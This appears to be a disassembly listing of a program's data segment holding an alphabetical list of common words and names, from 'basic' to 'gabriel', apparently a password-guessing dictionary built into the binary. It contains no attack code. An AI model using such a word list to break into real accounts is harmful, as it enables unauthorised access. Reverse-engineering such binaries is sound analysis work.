aGabriel	db 'gabriel',0          ; DATA XREF: seg002:00423C24o
aFungible	db 'fungible',0         ; DATA XREF: seg002:00423C20o
		align 4
aFunction	db 'function',0         ; DATA XREF: seg002:00423C1Co
		align 4
aFudge		db 'fudge',0            ; DATA XREF: seg002:00423C18o
		align 10h
aFuckyou	db 'fuckyou',0          ; DATA XREF: seg002:00423C14o
aFuckme		db 'fuckme',0           ; DATA XREF: seg002:00423C10o
		align 10h
aFucking	db 'fucking',0          ; DATA XREF: seg002:00423C0Co
aFucker		db 'fucker',0           ; DATA XREF: seg002:00423C08o
		align 10h
aFuck		db 'fuck',0             ; DATA XREF: seg002:00423C04o
		align 4
aFryguy		db 'fryguy',0           ; DATA XREF: seg002:00423C00o
		align 10h
aFrog		db 'frog',0             ; DATA XREF: seg002:00423BFCo
		align 4
aFrighten	db 'frighten',0         ; DATA XREF: seg002:00423BF8o
		align 4
aFriends	db 'friends',0          ; DATA XREF: seg002:00423BF4o
aFriend		db 'friend',0           ; DATA XREF: seg002:00423BF0o
		align 4
aFriday		db 'friday',0           ; DATA XREF: seg002:00423BECo
		align 4
aFrench		db 'french',0           ; DATA XREF: seg002:00423BE8o
		align 4
aFreedom	db 'freedom',0          ; DATA XREF: seg002:00423BE4o
aFree		db 'free',0             ; DATA XREF: seg002:00423BE0o
		align 4
aFred		db 'fred',0             ; DATA XREF: seg002:00423BDCo
		align 4
aFreak		db 'freak',0            ; DATA XREF: seg002:00423BD8o
		align 4
aFrank		db 'frank',0            ; DATA XREF: seg002:00423BD4o
		align 4
aFrance		db 'france',0           ; DATA XREF: seg002:00423BD0o
		align 4
aFoxtrot	db 'foxtrot',0          ; DATA XREF: seg002:00423BCCo
aFourier	db 'fourier',0          ; DATA XREF: seg002:00423BC8o
aForsythe	db 'forsythe',0         ; DATA XREF: seg002:00423BC4o
		align 10h
aFornicat	db 'fornicat',0         ; DATA XREF: seg002:00423BC0o
		align 4
aFormat		db 'format',0           ; DATA XREF: seg002:00423BBCo
		align 4
aForm		db 'form',0             ; DATA XREF: seg002:00423BB8o
		align 4
aForever	db 'forever',0          ; DATA XREF: seg002:00423BB4o
aForesigh	db 'foresigh',0         ; DATA XREF: seg002:00423BB0o
		align 10h
aFord		db 'ford',0             ; DATA XREF: seg002:00423BACo
		align 4
aForce		db 'force',0            ; DATA XREF: seg002:00423BA8o
		align 10h
aFootball	db 'football',0         ; DATA XREF: seg002:00423BA4o
		align 4
aFoolproo	db 'foolproo',0         ; DATA XREF: seg002:00423BA0o
		align 4
aFool		db 'fool',0             ; DATA XREF: seg002:00423B9Co
		align 10h
aFood		db 'food',0             ; DATA XREF: seg002:00423B98o
		align 4
aFlowers	db 'flowers',0          ; DATA XREF: seg002:00423B94o
aFlower		db 'flower',0           ; DATA XREF: seg002:00423B90o
		align 4
aFlorida	db 'florida',0          ; DATA XREF: seg002:00423B8Co
aFloat		db 'float',0            ; DATA XREF: seg002:00423B88o
		align 4
aFlakes		db 'flakes',0           ; DATA XREF: seg002:00423B84o
		align 10h
aFishers	db 'fishers',0          ; DATA XREF: seg002:00423B80o
aFirewall	db 'firewall',0         ; DATA XREF: seg002:00423B7Co
		align 4
aFire		db 'fire',0             ; DATA XREF: seg002:00423B78o
		align 4
aFinite		db 'finite',0           ; DATA XREF: seg002:00423B74o
		align 4
aFile		db 'file',0             ; DATA XREF: seg002:00423B70o
		align 4
aFight		db 'fight',0            ; DATA XREF: seg002:00423B6Co
		align 4
aField		db 'field',0            ; DATA XREF: seg002:00423B68o
		align 4
aFidelity	db 'fidelity',0         ; DATA XREF: seg002:00423B64o
		align 4
aFerrari	db 'ferrari',0          ; DATA XREF: seg002:00423B60o
aFermat		db 'fermat',0           ; DATA XREF: seg002:00423B5Co
		align 4
aFender		db 'fender',0           ; DATA XREF: seg002:00423B58o
		align 10h
aFelicia	db 'felicia',0          ; DATA XREF: seg002:00423B54o
aFeds		db 'feds',0             ; DATA XREF: seg002:00423B50o
		align 10h
aFear		db 'fear',0             ; DATA XREF: seg002:00423B4Co
		align 4
aFast		db 'fast',0             ; DATA XREF: seg002:00423B48o
		align 10h
aFart		db 'fart',0             ; DATA XREF: seg002:00423B44o
		align 4
aFaraday	db 'faraday',0          ; DATA XREF: seg002:00423B40o
aFarad		db 'farad',0            ; DATA XREF: seg002:00423B3Co
		align 4
aFamily		db 'family',0           ; DATA XREF: seg002:00423B38o
		align 10h
aFalse		db 'false',0            ; DATA XREF: seg002:00423B34o
		align 4
aFalcon		db 'falcon',0           ; DATA XREF: seg002:00423B30o
		align 10h
aFaith		db 'faith',0            ; DATA XREF: seg002:00423B2Co
		align 4
aFairway	db 'fairway',0          ; DATA XREF: seg002:00423B28o
aExtensio	db 'extensio',0         ; DATA XREF: seg002:00423B24o
		align 4
aExplosiv	db 'explosiv',0         ; DATA XREF: seg002:00423B20o
		align 4
aExplorer	db 'explorer',0         ; DATA XREF: seg002:00423B1Co
		align 4
aExplore	db 'explore',0          ; DATA XREF: seg002:00423B18o
aExplode	db 'explode',0          ; DATA XREF: seg002:00423B14o
aExpert		db 'expert',0           ; DATA XREF: seg002:00423B10o
		align 4
aEvelyn		db 'evelyn',0           ; DATA XREF: seg002:00423B0Co
		align 4
aEuclid		db 'euclid',0           ; DATA XREF: seg002:00423B08o
		align 4
aEternity	db 'eternity',0         ; DATA XREF: seg002:00423B04o
		align 4
aEstate		db 'estate',0           ; DATA XREF: seg002:00423B00o
		align 10h
aEstablis	db 'establis',0         ; DATA XREF: seg002:00423AFCo
		align 4
aErsatz		db 'ersatz',0           ; DATA XREF: seg002:00423AF8o
		align 4
aErotic		db 'erotic',0           ; DATA XREF: seg002:00423AF4o
		align 4
aErin		db 'erin',0             ; DATA XREF: seg002:00423AF0o
		align 4
aErika		db 'erika',0            ; DATA XREF: seg002:00423AECo
		align 4
aErica		db 'erica',0            ; DATA XREF: seg002:00423AE8o
		align 4
aEric		db 'eric',0             ; DATA XREF: seg002:00423AE4o
		align 4
aErenity	db 'erenity',0          ; DATA XREF: seg002:00423AE0o
aEnzyme		db 'enzyme',0           ; DATA XREF: seg002:00423ADCo
		align 4
aEnterpri	db 'enterpri',0         ; DATA XREF: seg002:00423AD8o
		align 4
aEnter		db 'enter',0            ; DATA XREF: seg002:00423AD4o
		align 10h
aEnglish	db 'english',0          ; DATA XREF: seg002:00423AD0o
aEngland	db 'england',0          ; DATA XREF: seg002:00423ACCo
aEngineer	db 'engineer',0         ; DATA XREF: seg002:00423AC8o
		align 4
aEngine		db 'engine',0           ; DATA XREF: seg002:00423AC4o
		align 4
aEnemy		db 'enemy',0            ; DATA XREF: seg002:00423AC0o
		align 4
aEmmanuel	db 'emmanuel',0         ; DATA XREF: seg002:00423ABCo
		align 4
aEmily		db 'emily',0            ; DATA XREF: seg002:00423AB8o
		align 10h
aEmerald	db 'emerald',0          ; DATA XREF: seg002:00423AB4o
aEmail		db 'email',0            ; DATA XREF: seg002:00423AB0o
		align 10h
aEllen		db 'ellen',0            ; DATA XREF: seg002:00423AACo
		align 4
aElizabet	db 'elizabet',0         ; DATA XREF: seg002:00423AA8o
		align 4
aElephant	db 'elephant',0         ; DATA XREF: seg002:00423AA4o
		align 10h
aElectron	db 'electron',0         ; DATA XREF: seg002:00423AA0o
		align 4
aElanor		db 'elanor',0           ; DATA XREF: seg002:00423A9Co
		align 4
aElaine		db 'elaine',0           ; DATA XREF: seg002:00423A98o
		align 4
aEinstein	db 'einstein',0         ; DATA XREF: seg002:00423A94o
		align 4
aEinsiein	db 'einsiein',0         ; DATA XREF: seg002:00423A90o
		align 4
aEileen		db 'eileen',0           ; DATA XREF: seg002:00423A8Co
		align 4
aEiderdow	db 'eiderdow',0         ; DATA XREF: seg002:00423A88o
		align 4
aEgghead	db 'egghead',0          ; DATA XREF: seg002:00423A84o
aEdwina		db 'edwina',0           ; DATA XREF: seg002:00423A80o
		align 4
aEdwin		db 'edwin',0            ; DATA XREF: seg002:00423A7Co
		align 10h
aEducatio	db 'educatio',0         ; DATA XREF: seg002:00423A78o
		align 4
aEducation	db 'education',0        ; DATA XREF: seg002:00423A74o
		align 4
aEdition	db 'edition',0          ; DATA XREF: seg002:00423A70o
aEdit		db 'edit',0             ; DATA XREF: seg002:00423A6Co
		align 4
aEdinburg	db 'edinburg',0         ; DATA XREF: seg002:00423A68o
		align 4
aEdges		db 'edges',0            ; DATA XREF: seg002:00423A64o
		align 4
aEddie		db 'eddie',0            ; DATA XREF: seg002:00423A60o
		align 4
aEcho		db 'echo',0             ; DATA XREF: seg002:00423A5Co
		align 4
aEatme		db 'eatme',0            ; DATA XREF: seg002:00423A58o
		align 4
aEasy		db 'easy',0             ; DATA XREF: seg002:00423A54o
		align 4
aEasier		db 'easier',0           ; DATA XREF: seg002:00423A50o
		align 4
aEarth		db 'earth',0            ; DATA XREF: seg002:00423A4Co
		align 4
aEagle		db 'eagle',0            ; DATA XREF: seg002:00423A48o
		align 4
aEager		db 'eager',0            ; DATA XREF: seg002:00423A44o
		align 4
aDyke		db 'dyke',0             ; DATA XREF: seg002:00423A40o
		align 4
aDungeon	db 'dungeon',0          ; DATA XREF: seg002:00423A3Co
aDuncan		db 'duncan',0           ; DATA XREF: seg002:00423A38o
		align 4
aDulce		db 'dulce',0            ; DATA XREF: seg002:00423A34o
		align 4
aDuke		db 'duke',0             ; DATA XREF: seg002:00423A30o
		align 4
aDuelist	db 'duelist',0          ; DATA XREF: seg002:00423A2Co
aDude		db 'dude',0             ; DATA XREF: seg002:00423A28o
		align 4
aDuck		db 'duck',0             ; DATA XREF: seg002:00423A24o
		align 4
aDrought	db 'drought',0          ; DATA XREF: seg002:00423A20o
aDrive		db 'drive',0            ; DATA XREF: seg002:00423A1Co
		align 4
aDrdoom		db 'drdoom',0           ; DATA XREF: seg002:00423A18o
		align 4
aDragon		db 'dragon',0           ; DATA XREF: seg002:00423A14o
		align 4
aDownload	db 'download',0         ; DATA XREF: seg002:00423A10o
		align 4
aDope		db 'dope',0             ; DATA XREF: seg002:00423A0Co
		align 10h
aDoors		db 'doors',0            ; DATA XREF: seg002:00423A08o
		align 4
aDoor		db 'door',0             ; DATA XREF: seg002:00423A04o
		align 10h
aDoonesbu	db 'doonesbu',0         ; DATA XREF: seg002:00423A00o
		align 4
aDoomsday	db 'doomsday',0         ; DATA XREF: seg002:004239FCo
		align 4
aDoomii		db 'doomii',0           ; DATA XREF: seg002:004239F8o
		align 10h
aDoom2		db 'doom2',0            ; DATA XREF: seg002:004239F4o
		align 4
aDoom		db 'doom',0             ; DATA XREF: seg002:004239F0o
		align 10h
aDong		db 'dong',0             ; DATA XREF: seg002:004239ECo
		align 4
aDollar		db 'dollar',0           ; DATA XREF: seg002:004239E8o
		align 10h
aDoctor		db 'doctor',0           ; DATA XREF: seg002:004239E4o
		align 4
aDisplay	db 'display',0          ; DATA XREF: seg002:004239E0o
aDisney		db 'disney',0           ; DATA XREF: seg002:004239DCo
		align 4
aDiskette	db 'diskette',0         ; DATA XREF: seg002:004239D8o
		align 4
aDisk_0		db 'disk',0             ; DATA XREF: seg002:004239D4o
		align 4
aDiscover	db 'discover',0         ; DATA XREF: seg002:004239D0o
		align 4
aDisclose	db 'disclose',0         ; DATA XREF: seg002:004239CCo
		align 4
aDiscipli	db 'discipli',0         ; DATA XREF: seg002:004239C8o
		align 10h
aDisc		db 'disc',0             ; DATA XREF: seg002:004239C4o
		align 4
aDirty		db 'dirty',0            ; DATA XREF: seg002:004239C0o
		align 10h
aDirector	db 'director',0         ; DATA XREF: seg002:004239BCo
		align 4
aDirect		db 'direct',0           ; DATA XREF: seg002:004239B8o
		align 4
aDipshit	db 'dipshit',0          ; DATA XREF: seg002:004239B4o
aDinosaur	db 'dinosaur',0         ; DATA XREF: seg002:004239B0o
		align 4
aDigital	db 'digital',0          ; DATA XREF: seg002:004239ACo
aDieter		db 'dieter',0           ; DATA XREF: seg002:004239A8o
		align 4
aDiet		db 'diet',0             ; DATA XREF: seg002:004239A4o
		align 10h
aDiehard	db 'diehard',0          ; DATA XREF: seg002:004239A0o
aDick		db 'dick',0             ; DATA XREF: seg002:0042399Co
		align 10h
aDice		db 'dice',0             ; DATA XREF: seg002:00423998o
		align 4
aDiane		db 'diane',0            ; DATA XREF: seg002:00423994o
		align 10h
aDiana		db 'diana',0            ; DATA XREF: seg002:00423990o
		align 4
aDiamond	db 'diamond',0          ; DATA XREF: seg002:0042398Co
aDial		db 'dial',0             ; DATA XREF: seg002:00423988o
		align 4
aDevice		db 'device',0           ; DATA XREF: seg002:00423984o
		align 10h
aDevelop	db 'develop',0          ; DATA XREF: seg002:00423980o
aDesperat	db 'desperat',0         ; DATA XREF: seg002:0042397Co
		align 4
aDesktop	db 'desktop',0          ; DATA XREF: seg002:00423978o
aDesk		db 'desk',0             ; DATA XREF: seg002:00423974o
		align 4
aDesiree	db 'desiree',0          ; DATA XREF: seg002:00423970o
aDennis		db 'dennis',0           ; DATA XREF: seg002:0042396Co
		align 4
aDenise		db 'denise',0           ; DATA XREF: seg002:00423968o
		align 4
aDemocrat	db 'democrat',0         ; DATA XREF: seg002:00423964o
		align 4
aDeluge		db 'deluge',0           ; DATA XREF: seg002:00423960o
		align 10h
aDelta		db 'delta',0            ; DATA XREF: seg002:0042395Co
		align 4
aDefoe		db 'defoe',0            ; DATA XREF: seg002:00423958o
		align 10h
aDefault_0	db 'DEFAULT',0          ; DATA XREF: seg002:00423954o
aDeck		db 'deck',0             ; DATA XREF: seg002:0042394Co
		align 10h
aDecember	db 'december',0         ; DATA XREF: seg002:00423948o
		align 4
aDebug		db 'debug',0            ; DATA XREF: seg002:00423944o
		align 4
aDeborah	db 'deborah',0          ; DATA XREF: seg002:00423940o
aDebbie		db 'debbie',0           ; DATA XREF: seg002:0042393Co
		align 4
aDeathsta	db 'deathsta',0         ; DATA XREF: seg002:00423938o
		align 10h
aDead		db 'dead',0             ; DATA XREF: seg002:00423934o
		align 4
aDawn		db 'dawn',0             ; DATA XREF: seg002:00423930o
		align 10h
aDave		db 'dave',0             ; DATA XREF: seg002:0042392Co
		align 4
aData		db 'data',0             ; DATA XREF: seg002:00423928o
		align 10h
aDarkaven	db 'darkaven',0         ; DATA XREF: seg002:00423924o
		align 4
aDark		db 'dark',0             ; DATA XREF: seg002:00423920o
		align 4
aDapper		db 'dapper',0           ; DATA XREF: seg002:0042391Co
		align 4
aDanny		db 'danny',0            ; DATA XREF: seg002:00423918o
		align 4
aDanielle	db 'danielle',0         ; DATA XREF: seg002:00423914o
		align 10h
aDaniel		db 'daniel',0           ; DATA XREF: seg002:00423910o
		align 4
aDancer		db 'dancer',0           ; DATA XREF: seg002:0042390Co
		align 10h
aDana		db 'dana',0             ; DATA XREF: seg002:00423908o
		align 4
aDaisy		db 'daisy',0            ; DATA XREF: seg002:00423904o
		align 10h
aDaemon		db 'daemon',0           ; DATA XREF: seg002:00423900o
		align 4
aCynthia	db 'cynthia',0          ; DATA XREF: seg002:004238FCo
aCyberspa	db 'cyberspa',0         ; DATA XREF: seg002:004238F8o
		align 4
aCyberpun	db 'cyberpun',0         ; DATA XREF: seg002:004238F4o
		align 4
aCyber		db 'cyber',0            ; DATA XREF: seg002:004238F0o
		align 10h
aCustomer	db 'customer',0         ; DATA XREF: seg002:004238ECo
		align 4
aCunt		db 'cunt',0             ; DATA XREF: seg002:004238E8o
		align 4
aCshrc		db 'cshrc',0            ; DATA XREF: seg002:004238E4o
		align 4
aCrystal	db 'crystal',0          ; DATA XREF: seg002:004238E0o
					; seg002:0041EE55o
aCristina	db 'cristina',0         ; DATA XREF: seg002:004238DCo
		align 10h
aCriminal	db 'criminal',0         ; DATA XREF: seg002:004238D8o
		align 4
aCrime		db 'crime',0            ; DATA XREF: seg002:004238D4o
		align 4
aCretin		db 'cretin',0           ; DATA XREF: seg002:004238D0o
		align 4
aCreosote	db 'creosote',0         ; DATA XREF: seg002:004238CCo
		align 4
aCredit		db 'credit',0           ; DATA XREF: seg002:004238C8o
		align 10h
aCreature	db 'creature',0         ; DATA XREF: seg002:004238C4o
		align 4
aCreation	db 'creation',0         ; DATA XREF: seg002:004238C0o
		align 4
aCreate		db 'create',0           ; DATA XREF: seg002:004238BCo
		align 10h
aCream		db 'cream',0            ; DATA XREF: seg002:004238B8o
		align 4
aCrackpot	db 'crackpot',0         ; DATA XREF: seg002:004238B4o
		align 4
aCrack		db 'crack',0            ; DATA XREF: seg002:004238B0o
		align 4
aCowboy		db 'cowboy',0           ; DATA XREF: seg002:004238ACo
		align 4
aCouscous	db 'couscous',0         ; DATA XREF: seg002:004238A8o
		align 10h
aCountry	db 'country',0          ; DATA XREF: seg002:004238A4o
aCounters	db 'counters',0         ; DATA XREF: seg002:004238A0o
		align 4
aCorrect	db 'correct',0          ; DATA XREF: seg002:0042389Co
aCorneliu	db 'corneliu',0         ; DATA XREF: seg002:00423898o
		align 4
aCopy		db 'copy',0             ; DATA XREF: seg002:00423894o
		align 10h
aCops		db 'cops',0             ; DATA XREF: seg002:00423890o
		align 4
aCopper		db 'copper',0           ; DATA XREF: seg002:0042388Co
		align 10h
aCooper		db 'cooper',0           ; DATA XREF: seg002:00423888o
		align 4
aCool		db 'cool',0             ; DATA XREF: seg002:00423884o
		align 10h
aCookie		db 'cookie',0           ; DATA XREF: seg002:00423880o
		align 4
aCookbook	db 'cookbook',0         ; DATA XREF: seg002:0042387Co
		align 4
aCook		db 'cook',0             ; DATA XREF: seg002:00423878o
		align 4
aContinue	db 'continue',0         ; DATA XREF: seg000:0040AAFEo
					; seg002:00423874o
		align 4
aConsole	db 'console',0          ; DATA XREF: seg002:00423870o
aConserva	db 'conserva',0         ; DATA XREF: seg002:0042386Co
		align 4
aConnie		db 'connie',0           ; DATA XREF: seg002:00423868o
		align 4
aCondom		db 'condom',0           ; DATA XREF: seg002:00423860o
		align 4
aCondo		db 'condo',0            ; DATA XREF: seg002:0042385Co
		align 4
aComrades	db 'comrades',0         ; DATA XREF: seg002:00423858o
		align 10h
aComrade	db 'comrade',0          ; DATA XREF: seg002:00423854o
aComputin	db 'computin',0         ; DATA XREF: seg002:00423850o
		align 4
aCompany	db 'company',0          ; DATA XREF: seg002:0042384Co
aCommrade	db 'commrade',0         ; DATA XREF: seg002:00423848o
		align 4
aCommit		db 'commit',0           ; DATA XREF: seg002:00423844o
		align 10h
aComics		db 'comics',0           ; DATA XREF: seg002:00423840o
		align 4
aCombat		db 'combat',0           ; DATA XREF: seg002:0042383Co
		align 10h
aColor		db 'color',0            ; DATA XREF: seg002:00423838o
		align 4
aCollins	db 'collins',0          ; DATA XREF: seg002:00423834o
aCold		db 'cold',0             ; DATA XREF: seg002:00423830o
		align 4
aCola		db 'cola',0             ; DATA XREF: seg002:0042382Co
		align 10h
aCoke		db 'coke',0             ; DATA XREF: seg002:00423828o
		align 4
aCoin		db 'coin',0             ; DATA XREF: seg002:00423824o
		align 10h
aCoffee		db 'coffee',0           ; DATA XREF: seg002:00423820o
		align 4
aCodeword	db 'codeword',0         ; DATA XREF: seg002:0042381Co
		align 4
aCodename	db 'codename',0         ; DATA XREF: seg002:00423818o
		align 10h
aCode		db 'code',0             ; DATA XREF: seg002:00423814o
		align 4
aCock		db 'cock',0             ; DATA XREF: seg002:00423810o
		align 10h
aCocainco	db 'cocainco',0         ; DATA XREF: seg002:0042380Co
		align 4
aCocacola	db 'cocacola',0         ; DATA XREF: seg002:00423808o
		align 4
aCoast		db 'coast',0            ; DATA XREF: seg002:00423804o
		align 10h
aClusters	db 'clusters',0         ; DATA XREF: seg002:00423800o
		align 4
aCluster	db 'cluster',0          ; DATA XREF: seg002:004237FCo
aClinton	db 'clinton',0          ; DATA XREF: seg002:004237F8o
aCleavage	db 'cleavage',0         ; DATA XREF: seg002:004237F4o
		align 4
aClaymore	db 'claymore',0         ; DATA XREF: seg002:004237F0o
		align 4
aClaudia	db 'claudia',0          ; DATA XREF: seg002:004237ECo
aClassic	db 'classic',0          ; DATA XREF: seg002:004237E8o
aClasses	db 'classes',0          ; DATA XREF: seg002:004237E4o
aClass		db 'class',0            ; DATA XREF: seg002:004237E0o
		align 4
aCindy		db 'cindy',0            ; DATA XREF: seg002:004237DCo
		align 4
aCigarett	db 'cigarett',0         ; DATA XREF: seg002:004237D8o
		align 4
aCigar		db 'cigar',0            ; DATA XREF: seg002:004237D4o
		align 10h
aChristy	db 'christy',0          ; DATA XREF: seg002:004237D0o
aChristin	db 'christin',0         ; DATA XREF: seg002:004237CCo
		align 4
aChris		db 'chris',0            ; DATA XREF: seg002:004237C8o
		align 4
aChip		db 'chip',0             ; DATA XREF: seg002:004237C4o
		align 4
aChester	db 'chester',0          ; DATA XREF: seg002:004237C0o
aChess		db 'chess',0            ; DATA XREF: seg002:004237BCo
		align 4
aChemistr	db 'chemistr',0         ; DATA XREF: seg002:004237B8o
		align 10h
aChem		db 'chem',0             ; DATA XREF: seg002:004237B4o
		align 4
aChat		db 'chat',0             ; DATA XREF: seg002:004237B0o
		align 10h
aCharon		db 'charon',0           ; DATA XREF: seg002:004237ACo
		align 4
aCharming	db 'charming',0         ; DATA XREF: seg002:004237A8o
		align 4
aCharlie	db 'charlie',0          ; DATA XREF: seg002:004237A4o
aCharles	db 'charles',0          ; DATA XREF: seg002:004237A0o
aCharity	db 'charity',0          ; DATA XREF: seg002:0042379Co
aChange		db 'change',0           ; DATA XREF: seg002:00423798o
		align 4
aCerulean	db 'cerulean',0         ; DATA XREF: seg002:00423794o
		align 10h
aCeltics	db 'celtics',0          ; DATA XREF: seg002:00423790o
aCeltic		db 'celtic',0           ; DATA XREF: seg002:0042378Co
		align 10h
aCelt		db 'celt',0             ; DATA XREF: seg002:00423788o
		align 4
aCecily		db 'cecily',0           ; DATA XREF: seg002:00423784o
		align 10h
aCayuga		db 'cayuga',0           ; DATA XREF: seg002:00423780o
		align 4
aCave		db 'cave',0             ; DATA XREF: seg002:0042377Co
		align 10h
aCathy		db 'cathy',0            ; DATA XREF: seg002:00423778o
		align 4
aCatholic	db 'catholic',0         ; DATA XREF: seg002:00423774o
		align 4
aCatherin	db 'catherin',0         ; DATA XREF: seg002:00423770o
		align 10h
aCastle		db 'castle',0           ; DATA XREF: seg002:0042376Co
		align 4
aCash		db 'cash',0             ; DATA XREF: seg002:00423768o
		align 10h
aCascades	db 'cascades',0         ; DATA XREF: seg002:00423764o
		align 4
aCarson		db 'carson',0           ; DATA XREF: seg002:00423760o
		align 4
aCarrie		db 'carrie',0           ; DATA XREF: seg002:0042375Co
		align 4
aCaroline	db 'caroline',0         ; DATA XREF: seg002:00423758o
		align 4
aCarolina	db 'carolina',0         ; DATA XREF: seg002:00423754o
		align 4
aCarole		db 'carole',0           ; DATA XREF: seg002:00423750o
		align 4
aCarol		db 'carol',0            ; DATA XREF: seg002:0042374Co
		align 4
aCarmen		db 'carmen',0           ; DATA XREF: seg002:00423748o
		align 4
aCarla		db 'carla',0            ; DATA XREF: seg002:00423744o
		align 4
aCaren		db 'caren',0            ; DATA XREF: seg002:00423740o
		align 4
aCardinal	db 'cardinal',0         ; DATA XREF: seg002:0042373Co
		align 4
aCard		db 'card',0             ; DATA XREF: seg002:00423738o
		align 10h
aCapture	db 'capture',0          ; DATA XREF: seg002:00423734o
aCaptain	db 'captain',0          ; DATA XREF: seg002:00423730o
aCantor		db 'cantor',0           ; DATA XREF: seg002:0042372Co
		align 4
aCandy		db 'candy',0            ; DATA XREF: seg002:00423728o
		align 10h
aCandi		db 'candi',0            ; DATA XREF: seg002:00423724o
		align 4
aCamping	db 'camping',0          ; DATA XREF: seg002:00423720o
aCampanil	db 'campanil',0         ; DATA XREF: seg002:0042371Co
		align 4
aCamille	db 'camille',0          ; DATA XREF: seg002:00423718o
aCaliforn	db 'californ',0         ; DATA XREF: seg002:00423714o
		align 10h
aButthead	db 'butthead',0         ; DATA XREF: seg002:00423710o
		align 4
aButt		db 'butt',0             ; DATA XREF: seg002:0042370Co
		align 4
aButch		db 'butch',0            ; DATA XREF: seg002:00423708o
		align 4
aBurn		db 'burn',0             ; DATA XREF: seg002:00423704o
		align 4
aBurgess	db 'burgess',0          ; DATA XREF: seg002:00423700o
aBung		db 'bung',0             ; DATA XREF: seg002:004236FCo
		align 4
aBumbling	db 'bumbling',0         ; DATA XREF: seg002:004236F8o
		align 10h
aBullshit	db 'bullshit',0         ; DATA XREF: seg002:004236F4o
		align 4
aBulls		db 'bulls',0            ; DATA XREF: seg002:004236F0o
		align 4
aBrutefor	db 'brutefor',0         ; DATA XREF: seg002:004236ECo
		align 10h
aBrute		db 'brute',0            ; DATA XREF: seg002:004236E8o
		align 4
aBrunette	db 'brunette',0         ; DATA XREF: seg002:004236E4o
		align 4
aBrothel	db 'brothel',0          ; DATA XREF: seg002:004236E0o
aBroadway	db 'broadway',0         ; DATA XREF: seg002:004236DCo
		align 4
aBridget	db 'bridget',0          ; DATA XREF: seg002:004236D8o
aBrian		db 'brian',0            ; DATA XREF: seg002:004236D4o
		align 4
aBrenda		db 'brenda',0           ; DATA XREF: seg002:004236D0o
		align 10h
aBreast		db 'breast',0           ; DATA XREF: seg002:004236CCo
		align 4
aBreak		db 'break',0            ; DATA XREF: seg002:004236C8o
		align 10h
aBravo		db 'bravo',0            ; DATA XREF: seg002:004236C4o
		align 4
aBrandy		db 'brandy',0           ; DATA XREF: seg002:004236C0o
		align 10h
aBrandi		db 'brandi',0           ; DATA XREF: seg002:004236BCo
		align 4
aBradley	db 'bradley',0          ; DATA XREF: seg002:004236B8o
aBoyscout	db 'boyscout',0         ; DATA XREF: seg002:004236B4o
		align 4
aBorn		db 'born',0             ; DATA XREF: seg002:004236B0o
		align 4
aBook		db 'book',0             ; DATA XREF: seg002:004236ACo
		align 4
aBoobs		db 'boobs',0            ; DATA XREF: seg002:004236A8o
		align 4
aBoob		db 'boob',0             ; DATA XREF: seg002:004236A4o
		align 4
aBoner		db 'boner',0            ; DATA XREF: seg002:004236A0o
		align 4
aBomb		db 'bomb',0             ; DATA XREF: seg002:0042369Co
		align 4
aBoard		db 'board',0            ; DATA XREF: seg002:00423698o
		align 4
aBlues		db 'blues',0            ; DATA XREF: seg002:00423694o
		align 4
aBlue		db 'blue',0             ; DATA XREF: seg002:00423690o
		align 4
aBlowjob	db 'blowjob',0          ; DATA XREF: seg002:0042368Co
aBlow		db 'blow',0             ; DATA XREF: seg002:00423688o
		align 4
aBloodaxe	db 'bloodaxe',0         ; DATA XREF: seg002:00423684o
		align 10h
aBlood		db 'blood',0            ; DATA XREF: seg002:00423680o
		align 4
aBlondie	db 'blondie',0          ; DATA XREF: seg002:0042367Co
aBlonde		db 'blonde',0           ; DATA XREF: seg002:00423678o
		align 4
aBlack		db 'black',0            ; DATA XREF: seg002:00423674o
		align 10h
aBitnet		db 'bitnet',0           ; DATA XREF: seg002:00423670o
		align 4
aBitmap		db 'bitmap',0           ; DATA XREF: seg002:0042366Co
		align 10h
aBitch		db 'bitch',0            ; DATA XREF: seg002:00423668o
		align 4
aBishop		db 'bishop',0           ; DATA XREF: seg002:00423664o
		align 10h
aBird		db 'bird',0             ; DATA XREF: seg002:00423660o
		align 4
aBios		db 'bios',0             ; DATA XREF: seg002:0042365Co
		align 10h
aBinary		db 'binary',0           ; DATA XREF: seg002:00423658o
		align 4
aBill		db 'bill',0             ; DATA XREF: seg002:00423654o
		align 10h
aBigfoot	db 'bigfoot',0          ; DATA XREF: seg002:00423650o
aBicamera	db 'bicamera',0         ; DATA XREF: seg002:0042364Co
		align 4
aBible		db 'bible',0            ; DATA XREF: seg002:00423648o
		align 4
aBeverly	db 'beverly',0          ; DATA XREF: seg002:00423644o
aBetty		db 'betty',0            ; DATA XREF: seg002:00423640o
		align 4
aBetsie		db 'betsie',0           ; DATA XREF: seg002:0042363Co
		align 4
aBeth		db 'beth',0             ; DATA XREF: seg002:00423638o
		align 4
aBeta		db 'beta',0             ; DATA XREF: seg002:00423634o
		align 4
aBeryl		db 'beryl',0            ; DATA XREF: seg002:00423630o
		align 4
aBerliner	db 'berliner',0         ; DATA XREF: seg002:0042362Co
		align 4
aBerlin		db 'berlin',0           ; DATA XREF: seg002:00423628o
		align 10h
aBerkeley	db 'berkeley',0         ; DATA XREF: seg002:00423624o
		align 4
aBeowulf	db 'beowulf',0          ; DATA XREF: seg002:00423620o
aBenz		db 'benz',0             ; DATA XREF: seg002:0042361Co
		align 4
aBeloved	db 'beloved',0          ; DATA XREF: seg002:00423618o
aBell		db 'bell',0             ; DATA XREF: seg002:00423614o
		align 4
aBehead		db 'behead',0           ; DATA XREF: seg002:00423610o
		align 4
aBegin		db 'begin',0            ; DATA XREF: seg002:0042360Co
		align 4
aBeethove	db 'beethove',0         ; DATA XREF: seg002:00423608o
		align 4
aBecky		db 'becky',0            ; DATA XREF: seg002:00423604o
		align 10h
aBeaver		db 'beaver',0           ; DATA XREF: seg002:00423600o
		align 4
aBeauty		db 'beauty',0           ; DATA XREF: seg002:004235FCo
		align 10h
aBeater		db 'beater',0           ; DATA XREF: seg002:004235F8o
		align 4
aBeast		db 'beast',0            ; DATA XREF: seg002:004235F4o
		align 10h
aBear		db 'bear',0             ; DATA XREF: seg002:004235F0o
		align 4
aBeammeup	db 'beammeup',0         ; DATA XREF: seg002:004235ECo
		align 4
aBeach		db 'beach',0            ; DATA XREF: seg002:004235E8o
		align 4
aBatman		db 'batman',0           ; DATA XREF: seg002:004235E4o
		align 4
aBatch		db 'batch',0            ; DATA XREF: seg002:004235E0o
		align 4
aBassoon	db 'bassoon',0          ; DATA XREF: seg002:004235DCo
aBass		db 'bass',0             ; DATA XREF: seg002:004235D8o
		align 4
aBasic		db 'basic',0            ; DATA XREF: seg002:004235D4o
		align 4
